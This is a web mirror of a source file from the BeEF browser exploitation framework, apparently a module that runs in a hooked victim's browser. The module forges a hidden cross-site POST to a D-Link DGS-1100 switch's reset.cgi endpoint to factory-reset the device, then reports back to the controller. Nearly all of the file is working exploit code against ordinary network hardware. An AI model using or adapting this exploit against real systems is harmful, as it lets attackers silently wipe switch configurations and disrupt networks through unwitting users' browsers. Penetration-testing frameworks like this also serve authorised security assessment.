Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/switch/dlink_dgs_1100_device_reset/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
// Hooked browser must be authenticated to switch.
9
var base = '<%= @base %>';
10
11
var dlink_dgs_iframe = beef.dom.createIframeXsrfForm(base + '/cgi/reset.cgi', 'POST', 'application/x-www-form-urlencoded', [
12
{ type: 'hidden', name: 'reset', value: 1 }
13
]);
14
15
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
16
17
cleanup = function() {
18
document.body.removeChild(dlink_dgs_iframe);
19
}
20
21
setTimeout("cleanup()", 15000);
22
});
23
24
25